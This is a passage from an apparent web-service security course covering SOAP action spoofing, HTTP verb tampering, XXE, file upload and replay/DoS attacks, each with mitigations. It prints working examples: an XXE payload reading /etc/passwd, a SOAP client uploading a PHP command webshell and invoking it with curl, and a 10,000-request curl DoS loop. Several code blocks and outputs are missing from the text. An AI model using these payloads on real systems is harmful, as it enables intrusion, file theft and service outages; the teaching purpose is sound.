such as “test DB” or “download database”. SQL Injection is almost irrelevant if the whole
database can be downloaded without authentication simply calling a web service. The
following is an example from a real penetration test that had a “test DB” web service
method exposed in the WSDL, please note how authentication was not needed to retrieve
the SA password (i.e. System Administrator, the most sensitive account in MSSQL Server)
this way:
HTTP/1.1 200 OK
Date: Mon, 29 Aug 2011 00:30:19 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Cache-Control: private, max-age=0
Content-Type: text/xml; charset=utf-8
Content-Length: 556
Web services should not rely solely on obscurity for security, they should proactively verify
if:
1. The web service function should even be available in a production system (i.e.
“download DB”?)
2. The user is authenticated (i.e. should this function require authentication?)
3. The user can perform the action requested (i.e. can user joe create a new
administrator user?)
If the answer to any of the above is no, oftentimes the action should be rejected except
when there is a serious business need to proceed otherwise.
The best way to hide a web service from search engine indexing (which is generally not
desired anyway for a web service) is to do so using the X-Robots-Tag using the value
“noindex”. This prevents indexing within the web service page itself instead of advertising
it from the robots.txt file.
Using the Apache .htaccess or httpd.conf configuration files we may prevent indexing
using a configuration snippet such as the following:
<Files "mywebservice.php">
Header set X-Robots-Tag "noindex"
</Files>
Assuming web services have the extension svc, asmx or jws the following general anti-
indexing rule could be created:
Alternatively, web services could be placed within a directory that is not allowed in the
robots.txt file:
User-agent: *
Disallow: /private
Most attack tools require reading the WSDL metadata on “how to call the web service”.
While it is OK to expose this during development, it is also a good idea to stop exposing it
in a production system unless it is a business-critical requirement to expose this
information (i.e. on a website that advertises integration with third party tools through the
WSDL).
Windows Communication Foundation (WCF) Web Services22 can turn off the
HttpGetEnabled property23 in production systems.
It is very important to realize that we are only making the web service a little bit more
difficult to find and use, but an attacker using and monitoring the web application will still
be able to figure out how to call the web service, however, this process is usually slower
than just looking at a WSDL file.
22http://msdn.microsoft.com/en-us/library/ms731734.aspx
23http://msdn.microsoft.com/en-
us/library/system.servicemodel.description.servicemetadatabehavior.httpgetenabled.aspx
6
6. SOAP/REST ACTION
SPOOFING
6.1 Introduction
SOAP web services transport messages over XML, generally the web service determines
the action to perform depending on the value of the SOAPAction HTTP header (i.e.
view_profile, add_user, etc.)
REST web services use JSON, usually the web service determines the action to perform
depending on the value of the HTTP verb (i.e. GET/POST/PUT/DELETE, etc.)
Action spoofing is an attack where the web service is tricked into performing an action
that should have been forbidden.
Since the action of REST web services is typically provided in the HTTP verb, REST
action spoofing attacks are often called HTTP verb tampering attacks.
SOAP Action spoofing attacks are a type of business logic flaw that typically requires the
following:
1. The SOAPAction header indicates: “Action A”
2. The SOAP envelope (i.e. the body of the request) indicates: “Action B”
3. The web service verifies “Action A” is allowed, but not “Action B”, creating a
security issue.
The idea is that the action in the SOAPAction header should match the action in the
SOAP envelope. However, some web services will fail to verify this.
Let us imagine the following simple PHP web service processing code:
In this context, a limited user allowed to view their profile could send a request like the
one below and create a new admin user:
<group>0</group>
</add_user>
</soap:Body>
</soap:Envelope>
REST Action spoofing attacks are also possible through the following means:
• Crafted HTTP verbs bypass security controls
Let us imagine the following Java EE web.xml file:
<security-constraint>
<web-resource-collection>
<url-pattern>/service/add_user/*</url-pattern>
<http-method>GET</http-method>
<http-method>PUT</http-method>
</web-resource-collection>
<auth-constraint>
<role-name>admin</role-name>
</auth-constraint>
</security-constraint>
Unfortunately, the previous example only constrains the “add_user” URL to the GET and
PUT methods, very counter-intuitively a custom HTTP verb like “TEST” or simply
“HEAD” will be allowed.
Similarly, in .NET the following configuration file will let not prevent normal users from
sending GET requests via HEAD:
<authorization>
<allow verbs="GET" users="admin"/>
<deny verbs=”POST,PUT,GET” users=”*” />
</authorization>
“HEAD” is interesting from an attacking perspective because it will pass the parameters as
if it was GET.
The following request will bypass both access controls above and be processed by the
service:
Some platforms provide methods to retrieve parameters that are ambiguous in nature.
Typically GET and POST parameters are merged. The following is an incomplete
reference table to illustrate this:
Platform Parameter retrieval method Information sources
PHP $_REQUEST['param_name'] GET, POST and Cookies
Java/JSP request.getParameter('param_name') GET, POST
Struts formBean.getValue('param_name') GET, POST
Python request['param_name'] GET, POST
Now imagine that a RESTful web service has code such as the following:
The following attack will bypass the logic above send a POST request, but passing the
parameters over GET, the use of $_REQUEST allows obscure logic bypasses like this:
Please note how only POST is validated in the code earlier: If the POST variables are not
set, validation is completely skipped but the values from GET are used.
More information on testing REST action spoofing via HTTP method tampering can be
found here:
• Bypassing Web Authentication and Authorization with HTTP Verb Tampering
https://www.aspectsecurity.com/wp-content/plugins/download-
monitor/download.php?id=18
• Testing for WS HTTP GET parameters/REST attacks
https://www.owasp.org/index.php/Testing_for_WS_HTTP_GET_param
eters/REST_attacks_(OWASP-WS-005)
The mitigation here is simple. There are two options to solve this problem:
Option 1) If the SOAPAction header and SOAP body do not match: Reject the request (it
is an attack)
Option 2) Disable the SOAPAction attribute and simply use the SOAP body
Configuration files to handle access control via HTTP verbs may sometimes be counter-
intuitive, especially on Java EE, where listing a method implies that all other methods not
listed (i.e. such as “HEAD” above) are allowed. This being said, the following guidelines
should help to solve this problem:
• Disable all unneeded HTTP verbs at the web server level: For example, if the web
application does not use HEAD, just disable it, etc. If the web server rejects it, the
attack will not reach the application.
• Avoid ambiguous sources of user input that merge GET and POST:
For example, prefer $_GET or $_POST in PHP over $_REQUEST. Search for
ambiguous parameter sources such as $_REQUEST in the source code and
replace all occurrences to the safer $_GET or $_POST as appropriate.
• Suggested configuration for Java EE:
Remove all <http-method> elements from web.xml: This will apply the security
constraints to all HTTP methods. For example, this would work as intended:
<security-constraint>
<web-resource-collection>
<url-pattern>/service/add_user/*</url-pattern>
</web-resource-collection>
<auth-constraint>
<role-name>admin</role-name>
</auth-constraint>
</security-constraint>
<authorization>
<allow verbs="GET" users="admin"/>
<deny verbs=”*” users=”*” />
</authorization>
• After implementing the security controls, test to see if they work or not.
7
7. XML ATTACKS
7.1 Introduction
All web applications that process XML files or data may be subject to XML attacks. This
includes attacks against XML parsers such as XXE and XEE.
In addition to this, the complexity in the SOAP protocol (which is used by BEPL web
services too) enables a number of additional XML attacks such as XML Signature
Wrapping24, XLT code execution25 and Key retrieval26 to name a few. The full list can be
found here: http://ws-attacks.org.
24 http://ws-attacks.org/index.php/XML_Signature_Wrapping
25 http://ws-attacks.org/index.php/XML_Signature_%E2%80%93_XSLT_Code_Execution
26 http://ws-attacks.org/index.php/XML_Signature_-_Key_Retrieval_XSA_(Cross_Site_Attack)
Although we are going to use a vulnerable basic REST web service example here, it is
important to note that the same situation applies to all other web services that process
XML, even a JSON-RPC web service could take an XML file as a string or a SOAP web
service take a base64 encoded string of an XML file for processing, etc.
Let us assume a simple book store REST web service that allows book uploads using
XML as follows:
<?php
require 'vendor/autoload.php';//Composer handles all dependencies for us
$app = new Slim\Slim();
$app->post('/books', function () use ($app) {
$request = $app->request();
$xml = simplexml_load_string($request->getBody());//DOM XML parser
here
if (isset($xml->title)) {
echo "Uploading {$xml->title}..";//Rendering back parsed XML
for illustration
//Upload process here
}
});
$app->run();
The idea here is to let the user know what book is being uploaded, this is the XML file
being assumed for normal usage:
<?xml version='1.0'?>
<book>
<title>The Godfather</title>
<author>Mario Puzo</author>
<description>Example Description</description>
</book>
Returns:
<?xml version='1.0'?>
<!DOCTYPE foo [
<!ELEMENT methodName ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<book>
<title>&xxe;</title>
<author>Mario Puzo</author>
<description>Example Description</description>
</book>
This inevitably results in our REST web service showing the /etc/passwd file:
Returns:
Uploading root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
…
More guidelines to test for this issue can be found in the following resources:
• OWASP Testing Guide: Testing for XML Content-Level
https://www.owasp.org/index.php/Testing_for_XML_Content-
Level_(OWASP-WS-004)
• OWASP Testing Guide: Testing for XML Structural
https://www.owasp.org/index.php/Testing_for_XML_Structural_(OWAS
P-WS-003)
• WS-Attacks.org
WS-Attacks.org aims at delivering the most comprehensive enumeration of all known web service
attacks
http://ws-attacks.org
Using SOAP (and BEPL) web services ensures additional attack surface and therefore
significantly more room for security issues. Whenever possible, favor simpler web services
(i.e. XML-RPC, JSON-RPC or RESTful) to remove this additional attack surface.
In addition to this and whenever possible, favoring JSON over XML will automatically
remove the additional attack surface present in XML parsing. JSON parsing is much
simpler than XML parsing and therefore is significantly less likely to introduce security
problems when done correctly (i.e. parse JSON using a parser, or “parse” call instead of
“eval”).
The best way to mitigate XXE and XML Entity Expansion attacks is to disable external
entity loading. This is something that most platform libraries allow to do nowadays.
For example, in PHP most libraries rely on libxml2, so the following should mitigate the
problem:
libxml_disable_entity_loader(true);
Java, .NET and other platform-specific mitigation examples can be found here:
• XML External Entity(XXE) Vulnerability and Prevention
http://10-99.blogspot.com/2013/02/definition-xml-external-entityxxe-
is.html
• XML External Entity (XXE) Processing
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Proces
sing
Obviously, when doing this the code should handle error conditions gracefully. Let us say
we add this defense to our example:
<?php
require 'vendor/autoload.php';//Composer handles all dependencies for us
$app = new Slim\Slim();
If we try the same attack we get the following error, which granted, it is better than letting
the attacker read arbitrary system files, but still an information disclosure flaw:
Returns:
<html><head><title>Slim Application
Error</title><style>body{margin:0;padding:30px;font:12px/1.5
Helvetica,Arial,Verdana,sans-serif;}h1{margin:0;font-size:48px;font-
weight:normal;line-height:48px;}strong{display:inline-
block;width:65px;}</style></head><body><h1>Slim Application
Error</h1><p>The application could not run because of the following
error:</p><h2>Details</h2><div><strong>Type:</strong>
ErrorException</div><div><strong>Code:</strong>
2</div><div><strong>Message:</strong> simplexml_load_string(): I/O
warning : failed to load external entity
"file:///etc/passwd"</div><div><strong>File:</strong>
/var/www/web_services/rest/book_server2.php</div><div><strong>Line:</str
ong> 8</div><h2>Trace</h2><pre>#0 [internal function]:
Slim\Slim::handleErrors(2, 'simplexml_load_...', '/var/www/web_se...',
8, Array)
#1 /var/www/web_services/rest/book_server2.php(8):
simplexml_load_string('<?xml version='...')
#2 [internal function]: {closure}()
#3 /var/www/web_services/rest/vendor/slim/slim/Slim/Route.php(436):
call_user_func_array(Object(Closure), Array)
#4 /var/www/web_services/rest/vendor/slim/slim/Slim/Slim.php(1305):
Slim\Route->dispatch()
#5
/var/www/web_services/rest/vendor/slim/slim/Slim/Middleware/Flash.php(85
): Slim\Slim->call()
#6
/var/www/web_services/rest/vendor/slim/slim/Slim/Middleware/MethodOverri
de.php(92): Slim\Middleware\Flash->call()
#7
/var/www/web_services/rest/vendor/slim/slim/Slim/Middleware/PrettyExcept
ions.php(67): Slim\Middleware\MethodOverride->call()
#8 /var/www/web_services/rest/vendor/slim/slim/Slim/Slim.php(1254):
Slim\Middleware\PrettyExceptions->call()
#9 /var/www/web_services/rest/book_server2.php(14): Slim\Slim->run()
The following is much better, please note how processing stops if there is an exception:
Now we get the following when the attack is attempted (no XXE, but also no
information disclosure):
Returns:
Stripping out the DOCTYPE section is a great additional way to ensure XXE and
Expansions are not possible. In order to do this without parsing, it is possible to remove
the white-space from the document to then try to detect the DOCTYPE, if a DOCTYPE
is found, then reject the document:
<?php
require 'vendor/autoload.php';//Composer handles all dependencies for us
$app = new Slim\Slim();
}
catch (Exception $e) { /* Log this somewhere so that it gets
reviewed.. */ die('Invalid XML file, sorry'); }
if (isset($xml->title)) {
echo "Uploading {$xml->title}..";
//Upload process here
}
});
$app->run();
DOM parsers parse the XML document all at once in memory; this makes them more
vulnerable to Denial of Service (DoS) attacks. However, SAX parsers work via callbacks
for processing XML tags, typically the code is more complicated but it has the benefit of
not parsing the whole XML document in memory all at once.
Validation of XML files against schemas can be useful to ensure the XML file is legitimate.
The following is a list of resources that might help with this:
• Current PHP versions provide platform functions to validate the schema
XMLReader::setSchema
http://www.php.net/manual/en/xmlreader.setschema.php
DOMDocument::schemaValidate
http://www.php.net/manual/de/domdocument.schemavalidate.php
• .NET: Validation Against XML Schema (XSD) with the XmlValidatingReader
http://msdn.microsoft.com/en-us/library/thydszwy.aspx
• Java: The Java XML Validation API
http://www.ibm.com/developerworks/xml/library/x-
javaxmlvalidapi/index.html
• Java: How to Validate XML using Java
http://www.edankert.com/validate.html
In order to mitigate XML tag injection attacks, XML-injection friendly characters should
be output encoded when user input must be concatenated into an XML document. If
possible a well vetted platform function or library should be used. Where this is not
possible, then at least output encode the following characters: &, <, >, !, [, ], -, " and '
Ensuring that injection-friendly XML characters are not allowed during validation is a
great additional way to mitigate XML tag injection attacks. Whenever possible this should
be done against a white-list that does not include XML-injection friendly characters (i.e. &,
<, >, !, [, ], -, " and '). For example:
As usual, defenses work best when combined together, our fixed example implements
most of the security controls described in this section. Please pay attention to this example
and note how security controls are placed in the following two sections:
1. Before XML parsing: Defenses against XML attacks
2. After XML parsing: Defenses specific to what the data is going to be used for
(i.e. rendered in HTML? Used in a SQL query? Etc.)
<?php
require 'vendor/autoload.php';//Composer handles all dependencies for us
$app = new Slim\Slim();
<body>
Uploading '
. htmlentities($xml->title, ENT_QUOTES, 'UTF-8')
. '...</body></html>';//Output encode using the page charset
//Upload process here
}
});
$app->run();
8
8. FILE UPLOAD ATTACKS
8.1 Introduction
Some web services may implement functionality that allows users to upload files to the
web server. Especially when writing to the filesystem, this type of functionality may result
in web server compromise if adequate precautions are not implemented. In the context of
web services, file uploads can be implemented on all web service types, including
JSON-RPC web services simply encoding the file using base64, for example.
<?php
require "vendor/autoload.php";//Composer sorts out the Zend Framework
dependencies for us
$URL = "http://example.com/web_services/soap/upload_server.php";//URL
for this script
$WSDL_URL = $URL . '?wsdl';//URL where the WSDL is
This can be exploited with a simple SOAP web service client. This simply uploads a
backdoor PHP file that will run any command passed to it in the ‘cmd’ GET parameter:
<?php
require "vendor/autoload.php";////Composer sorts out the Zend Framework
dependencies for us
$client = new
Zend\Soap\Client('http://example.com/web_services/soap/upload_server.php
?wsdl');
echo $client->Upload('/var/www/shell.php',
base64_encode("<?php\nsystem(\$_GET['cmd']);"));
The web service client can be run trivially from the command line. We can see that the
upload succeeded:
php upload_client.php
Returns:
Upload OK!
Finally we can verify that the vulnerability worked by using the uploaded PHP backdoor:
curl 'http://example.com/shell.php?cmd=id'
Returns:
Whenever possible always favor storing files in a database instead of the filesystem,
this ensures that filesystem attacks are simply not possible.
This will work regardless of where files are stored (i.e. database or filesystem) but if files
need to be stored in the filesystem they will forcefully have to be written to a directory that
is not the webroot (a security best practice, although it might not always be possible
depending on the application).
Denying write permissions in the webroot directory to the web server user (i.e. the user
Apache, IIS, etc. runs as) is very highly recommended. This easy to do but will make
exploitation of certain security problems significantly more difficult.
In Windows, Deny permissions take precedence over Allow, so assuming the web server
runs as “IUSR” a Deny Write permission on the webroot directory (and all subdirectories)
is highly recommended unless the application requires a different permission setup. To do
this, simply right click on the webroot directory (i.e. www in this example), then click on
“Properties”, the “Security” tab, then “Edit”, then “IUSR” (the user the web server runs
as) and then put an explicit “Deny Write” permission like in the screenshot below:
In Linux the following is a one liner that will prevent the webserver user (assuming it is
not root, which should not be) from writing files (this should be ok for most
applications). This assumes the webroot directory is /var/www:
If you need the user-supplied filename for any reason, you should validate it against a
white-list of only letters, numbers and dots.
In our example this could be something like this. Please note the length check outside and
before the regular expression:
Obviously, at this point, the attacker can just upload the backdoor in the same directory
without using “/”:
<?php
require "vendor/autoload.php";////Composer sorts out the Zend Framework
dependencies for us
$client = new
Zend\Soap\Client('http://example.com/web_services/soap/upload_server.php
?wsdl');
echo $client->Upload('shell.php',
base64_encode("<?php\nsystem(\$_GET['cmd']);"));
php upload_client.php
Returns:
Upload OK!
Now the attacker can verify that the attack was successful:
curl 'http://example.com/web_services/soap/shell.php?cmd=id'
Returns:
However, the attacker can no longer save the file in other directories. This is the case
because our regular expression is not allowing characters such as “/”or “\”.
If you need the user-provided file extension, then compare it against a list of known
extensions (white-list).
In our web service example we probably do not intend to allow users to upload PHP files,
instead let us suppose that uploaded files are supposed to be text files. In this situation we
should allow “.txt” file extensions and reject everything else. Please note how the example
will allow the developers to allow more file extensions in the future simply adding
elements to the array -i.e. array('txt', 'jpg', ..)-, this is important to avoid human error in
future development phases:
The file extension check is one of the most important security controls. This prevents the
PHP backdoor upload:
php upload_client.php
Returns:
If you are expecting an image, check that you really received an image and then validate
the image type against a white-list of allowed image types. For example, in PHP you could
do something like this:
If, for any reason, you need to do something with the mime type, for example, saving it as
a field in the database, then check that you really received a valid mime type by validating
the user-provided mime type against a white-list of allowed mime types. For example, in
PHP you could do something like this:
If you cannot use a white-list of allowed mime-types for any reason, then validate the user-
supplied mime type against a white-list of only letters and “/” (white-list):
For example, in PHP:
if (!preg_match('|^[\.\/a-zA-Z]+$|', $mime_type)) {
die('Cannot render: Invalid mime type');
}
If you really need to store files in the filesystem (strongly not recommended), then
please follow these recommendations:
1) Never save user-provided files in the webroot:
Use another directory, ideally on another drive (windows) or path (i.e.
/home/www/uploads instead of /var/www… in Linux-like systems).
In our example, this would look as follows:
Now, although the attacker is still able to upload files to the filesystem (because of
a poor web application design from a security perspective), the file is very unlikely
to be a security threat (sha1 truncated with “…” for brevity).
27 http://php.net/realpath
28 http://php.net/basename
<?php
echo json_decode(file_get_contents('/home/www/uploads/3923…94.txt'));
Returns the contents submitted by the user, but these are no longer used to
manipulate the filesystem (i.e. determine which file to load, save, etc):
{
"filename" : "shell.txt",
"content" : "<?php\nsystem($_GET['cmd']);"
}
You should be storing files outside of the webroot, but if you really need to save
the files inside the webroot for whatever reason, at least disable PHP, ASP, etc
script execution from the file upload directory. The following is an example for a
.htaccess file placed in the same directory:
AddHandler cgi-script.php4 .php5 .php .php3 .phtml .pl .py .jsp .asp
.htm .shtml .sh .cgi
Options -ExecCGI
Rendering a user-supplied file can be problematic security-wise, even when done from a
database. If possible, rendering the file from another domain will significantly mitigate
potential Cross Site Scripting (XSS) risks. For example, the file would be uploaded to
http://mysite.com but rendered from http://usercontent.mysite.com. This ensures
that, if a Cross Site Scripting vulnerability is found, JavaScript will execute in the security
context of usercontent.mysite.com, hence not being able to impersonate a compromised
application user in mysite.com.
Modern browsers support a number of HTTP headers which can be used to mitigate the
risk of XSS. Unfortunately some of them are browser specific but it is possible to set most
of them for best protection.
We will look at these headers in more detail later in this course, for now you just need to
know that using these useful HTTP headers for defenders29 we mitigate Clickjacking and
XSS. The example below is highly recommended for best browser coverage of XSS and
Clickjacking protection on pages that render user-supplied files:
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src 'none';
X-Content-Security-Policy: default-src 'none';
X-Webkit-CSP: default-src 'none';
File upload fields such as: the user-supplied filename and the user-supplied mime type
should never be used when rendering a file in the browser. You should instead use the
values from your white-list during validation (see points above).
If you really should use user-input when rendering a file on places like the filename or the
mime type, then at least use a strict regular expression to ensure that (you should have
done this during the validation phase before saving the file):
1) Filenames only contain letters, numbers and dots (white-list):
For example, in PHP:
if (!preg_match('/^[\.0-9a-zA-Z]+$/', $filename)) {
die('Cannot render: Invalid filename');
}
if (!preg_match('|^[\.\/a-zA-Z]+$|', $mime_type)) {
die('Cannot render: Invalid mime type');
}
29 https://www.owasp.org/index.php/List_of_useful_HTTP_headers
Depending on the nature of file uploads in the context of your application. You should
seriously consider scanning them using an anti-virus program and ideally in a sandbox or a
third-party service such as VirusTotal30 if user-privacy is not a concern.
As usual, security controls are best when combined together. The following is our fixed
file upload example implementing some of the security controls described in this section:
30 https://www.virustotal.com
9
9. REPLAY ATTACKS
9.1 Introduction
Replay attacks are very difficult to prevent without some form of server-side state, which
is strongly against the stateless design principles of REST web services. However, replay
attacks may occur and are also very common on all major web service types (i.e.
XML-RPC, JSON-RPC, SOAP, BEPL and REST), not just REST. Replay attacks are
additionally a common vulnerability against web applications in general.
<?php
require "vendor/autoload.php";//Composer sorts out the Zend Framework
dependencies for us
This might initially not seem vulnerable to anything, many penetration testers with access
to source code would literally move on to review another file, however, this example is
vulnerable to replay attacks. The vulnerability can be demonstrated using the following
rudimentary shell script. Please note the “&” symbol at the end of the curl command, this
is sending many identical requests to the web service in order to cause a Denial of Service
(DoS) condition. The “&” makes sure these requests are sent in parallel without waiting
for any request to finish. This can be saved into a file called “replay_test.sh”:
WARNING: This shell script can crash your machine if you are also hosting the
web service!
Suggestion: Try a lower number of requests if you would like to try this attack.
Increase this lower number slowly to verify this attack.
#!/bin/bash
for i in $(seq 1 10000); do
curl http://example.com/web_services/json_rpc/ping_server.php --
data '{"method": "Ping", "params": ["www.google.com", "4"], "id": 1}' &
done
sh replay_test.sh
Running this shell script, results in 100% CPU consumption on the 2 CPUs of our test
server, this condition lasted a few minutes:
Further, around 1000 HTTP curl commands returned the following error, which illustrates
that the DoS attack succeeded:
This security measure is one of the most effective to mitigate the problem: If the attacker
cannot connect to the web service, they will not be able to attack it. This is an example of
attack surface reduction.
In many cases, web services are only meant to be available from a very limited number of
trusted hosts, when this is the case, all requests coming from untrusted IPs should be
rejected. Adding the following to the top of our example implements this:
<?php
$only_allowed_ips = array('127.0.0.1');//White-list of only allowed IPs
to consume this web service
if (!in_array($_SERVER['REMOTE_ADDR'], $only_allowed_ips)) {
die('Unauthorized access');
}
Implementing authentication is very important to prevent replay attacks: This allows you
to track the user that is performing the attack so that you can block them and log who it
was to decide what to do later (i.e. ban the user, disable the account, etc).
To prevent replay attacks, we are looking for the following:
1. Verify that the user is logged in
2. Verify that the user did not send more than X requests in the last Y minutes.
Where “X” and “Y” are reasonable limits: This will depend on what the web
service does.
3. Block the user after “reasonable” thresholds are exceeded
<?php
session_start();
if (!isset($_SESSION['logged_in']) || !$_SESSION['logged_in']) {
die('Unauthorized access');//1) Verify that the user is logged in
}
//NOTE: $_SESSION['ping_count'] is loaded from the database when the
user logs in
if ($_SESSION['ping_count'] > MAX_PINGS) {
//This user is DoSing us: log this, block the user
//Log this incident in so that this will be reviewed
//Disable the user in the DB: Now the user cannot login anymore
die('Your account has been deactivated. Please contact our
helpdesk for information');
}
if ($_SESSION['last_ping_timestamp'] < TIME_THRESHOLD) {
$_SESSION['ping_count'] -= MAX_PINGS;//Decrease ping count
}
$_SESSION['ping_count'] += 1;//Increase ping count
$_SESSION['last_ping_timestamp'] = time();//Keep track of last ping
timestamp
//Update DB table with updated last_ping_timestamp and ping_count
Implementing anti-CSRF protections will make replay more difficult, although this is less
effective than counting the number of attempts per user. For example, if using anti-CSRF
tokens, the attacker can just get a valid token by scraping the previous page, and then
submit it in the replay attack, the replay attack becomes only slightly more difficult. Never
use this security control in isolation to prevent replay attacks (i.e. only use this in
combination with other security controls). Server-side state to keep track of attempts is
necessary to prevent replay attacks.
This is similar to the number of attempts per user, but might be useful for cases when
authentication is not possible. “The maximum number of requests for your IP today has
been reached, sorry” is a common approach to prevent abuse used by many websites that
provide services without authentication on the internet nowadays.
Try to combine as many of these security controls as possible to secure your web service.
Defenses will work best together.